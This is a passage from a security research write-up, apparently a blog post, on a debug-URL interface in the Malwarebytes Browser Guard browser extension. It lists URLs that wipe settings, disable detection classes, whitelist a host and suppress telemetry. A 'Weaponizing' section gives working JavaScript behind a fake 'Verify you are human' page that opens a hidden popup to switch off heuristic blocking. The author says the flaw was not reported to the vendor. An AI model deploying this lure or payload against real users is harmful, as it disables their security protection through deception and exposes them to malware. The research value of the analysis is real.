    if (TARGET_BROWSER === BROWSER_NAME.Firefox) {
        return cancelResult;
    }
    
    if (debugUrls.includes(details.url)) {
        if (cancelResult.redirectUrl) {
            chrome.tabs.update(details.tabId, { url: cancelResult.redirectUrl });
            return;
        }
    }
    
    if (cancelResult.cancel && cancelResult.cancel === true) {
        // ...block-page path...
    } else if (cancelResult.redirectUrl) {
        // catches every other recognised debug URL, does the same chrome.tabs.update
        chrome.tabs.update(details.tabId, { url: cancelResult.redirectUrl })
        .then((_tab) => {});
    }
}, { urls: ["<all_urls>"] }, TARGET_BROWSER === BROWSER_NAME.Firefox ? ['blocking'] : []);
```

{% endcode %}

A small `debugUrls` allow-list handles a few specific URLs first and exits the function before the rest of the wrapper runs. But the more interesting branch is the `else if (cancelResult.redirectUrl)` at the bottom, because it catches **any** URL whose `handleDebugUrls` returned a `redirectUrl`.&#x20;

Since every recognised action returns one, every recognised action ends up at the same `chrome.tabs.update()` call, meaning the tab visibly lands on `chrome-extension://<id>/app/eventpages/debugger.html?action=<name>`

### What you can do with it

I will focus on 1 example to keep it short, but for readers who want the full list of operations, I will list them bellow.

<details>

<summary>Full list of operations</summary>

**Wipe / Global Toggles**

{% code overflow="wrap" %}

```javascript
// Wipe settings, databases, dynamic rules
- 'https://www.malwarebytes.com/browserguard/debugger?action=factory-reset';

// Toggle the reputation database and the local-IP allowlist
- 'https://www.malwarebytes.com/browserguard/debugger?action=toggle-reputation'
- 'https://www.malwarebytes.com/browserguard/debugger?action=toggle-local-ip-allow'

// Inject synthetic detection-history entries
- 'https://www.malwarebytes.com/browserguard/debugger?action=populate-detection-history'
```

{% endcode %}

**Disable detection classes via `set-feature`**

{% code overflow="wrap" %}

```javascript
// Disable heuristic blocking
'https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableHeuristicBlocking&value=false'

// Disable EasyList ad blocking, GDPR cookie blocker, local port-scan blocking
- 'https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableBlockEasylistAds&value=false'
- 'https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableBlockGdpr&value=false'
- 'https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableBlockLocalPortScanning&value=false'

// Disable the suspicious POST/PUT and suspicious-title heuristics
- 'https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableSuspiciousPostOrPutDetection&value=false'
- 'https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableSuspiciousTitleDetection&value=false'
```

{% endcode %}

**Whitelist / telemetry / notifications**

{% code overflow="wrap" %}

```javascript
// Add the hardcoded host browserguard.local to the in-memory malware whitelist.
- 'https://www.malwarebytes.com/browserguard/debugger?action=whitelist-malware-for-browserguard-local'

// Override the ad-telemetry alarm cadence (effectively suppress with a huge value).
- 'https://www.malwarebytes.com/browserguard/debugger?action=override-ads-telemetry-duration&key=periodInMinutes&value=999999'

// Force-fire block telemetry now / send a test user-action telemetry record
- 'https://www.malwarebytes.com/browserguard/debugger?action=trigger-sending-block-telemetry-now'
- 'https://www.malwarebytes.com/browserguard/debugger?action=send-test-user-telemetry'

// Reset breach/monthly notification timestamps to re-arm those flows
- 'https://www.malwarebytes.com/browserguard/debugger?action=reset-breach-alert-last-displayed'
- 'https://www.malwarebytes.com/browserguard/debugger?action=reset-monthly-notification-date'

// Force notification UIs to render
- 'https://www.malwarebytes.com/browserguard/debugger?action=trigger-monthly-notification'
- 'https://www.malwarebytes.com/browserguard/debugger?action=trigger-search-hijacking-notification'
- 'https://www.malwarebytes.com/browserguard/debugger?action=trigger-release-notification'
- 'https://www.malwarebytes.com/browserguard/debugger?action=trigger-shell-notification'
- 'https://www.malwarebytes.com/browserguard/debugger?action=trigger-release-notification-notes'

// Enable visual-debugging mode (sets the `visualDebugging` setting to true)
- 'https://www.malwarebytes.com/browserguard/debugger?action=enable-visual-debugging'

// OAP scan-failure simulators (useful as anti-analysis: makes Browser Guard appear broken)
- 'https://www.malwarebytes.com/browserguard/debugger?action=oap-enable-random-failures'
- 'https://www.malwarebytes.com/browserguard/debugger?action=oap-force-complete-failure'
- 'https://www.malwarebytes.com/browserguard/debugger?action=oap-disable-random-failures'
- 'https://www.malwarebytes.com/browserguard/debugger?action=oap-disable-complete-failure'
- 'https://www.malwarebytes.com/browserguard/debugger?action=oap-check-failure-status'
```

{% endcode %}

**URL Reputation**

{% code overflow="wrap" %}

```javascript
- 'https://www.malwarebytes.com/browserguard/debugger?action=check-url&q=google.com'
```

{% endcode %}

**False-Positive Validation**

{% code overflow="wrap" %}

```javascript
- 'https://www.malwarebytes.com/browserguard/debugger?action=fp-checker-test'
```

{% endcode %}

**Cloud Messaging Simulation**

{% code overflow="wrap" %}

```javascript
- 'https://www.malwarebytes.com/browserguard/debugger?action=simulate-cloud-message-response'
```

{% endcode %}

**Update / Rules / Configuration**

{% code overflow="wrap" %}

```javascript
- 'https://www.malwarebytes.com/browserguard/debugger?action=test-channel-update'
- 'https://www.malwarebytes.com/browserguard/debugger?action=staging-channel-update'
- 'https://www.malwarebytes.com/browserguard/debugger?action=get-dynamic-rules'
```

{% endcode %}

**Permissions**

{% code overflow="wrap" %}

```javascript
- 'https://www.malwarebytes.com/browserguard/debugger?action=permission-requests&operation=request&permission=notifications'
```

{% endcode %}

</details>

### Disabling heuristics

If we visit this url:

{% code overflow="wrap" %}

```
https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableHeuristicBlocking&value=false
```

{% endcode %}

We get redirected to this extension's page:&#x20;

{% code overflow="wrap" %}

```
chrome-extension://ihcjicgdanjaechkgeegckofjjedodee/app/eventpages/debugger.html?action=set-feature&key=enableHeuristicBlocking&value=false
```

{% endcode %}

And the following window appears:

<figure><img src="/files/lswBEZBf8jDSlyRLn7I5" alt=""><figcaption></figcaption></figure>

If we now visit a domain that would trigger an heuristics rule, nothing happens, the page is not blocked.

### Weaponizing

There are a few ways we could use this, the most practical I came up with was using `window.open()` and closing the popup a few milliseconds later.

{% hint style="info" %}
`window.open` must be triggered by a user click, otherwise Chrome will block the popup and prompt the user for permission.
{% endhint %}

To overcome the user having to click something, I made a fake looking "Verify you are human" page that, when the user clicks the verify, the popup opens and disables the heuristics blocks.

<figure><img src="/files/9OlSJSRd1I169fxflq33" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```javascript
// the onclick handler
function startVerification() {
            const wf = "left=-10000,top=-100000,width=1,height=1";
            const w = window.open('https://www.malwarebytes.com/browserguard/debugger?action=set-feature&key=enableHeuristicBlocking&value=false', "", wf);
            setTimeout(() => { try { w.close() } catch(e){} }, 500); // since the request is intercepted and redirected to a local extension page, we probably can lower this value even more.
            
            // do stuff that would trigger an heuristic rule
}
```

{% endcode %}

## Conclusion

Browser Guard is a genuinely interesting piece of software. There's a lot going on under the hood, more layers than I expected going in.

Most of its work happens locally. The bloom filters, heuristic rules, malware URL database, download classifier, and the rest all decide things on their own. Hubble only gets called after something has already been flagged, and only to undo the block.

That design is reasonable, but it puts a lot of trust in the local code. The Hubble credentials are XOR-obfuscated in the bundle, but the source maps ship alongside it with the code in plain readable form. The desktop AV uses the same Hubble service, and although I haven't tested it, the same credentials may well work there too.

The bigger issue is Section 13. The production extension ships a debug interface keyed to a malwarebytes.com URL that any page can navigate to. One of the actions turns off heuristic blocking globally.

I haven't reported this to Malwarebytes. Past experience with their bug bounty hasn't been great, and the debug interface has been sitting in the production build long enough that someone there presumably knows about it.
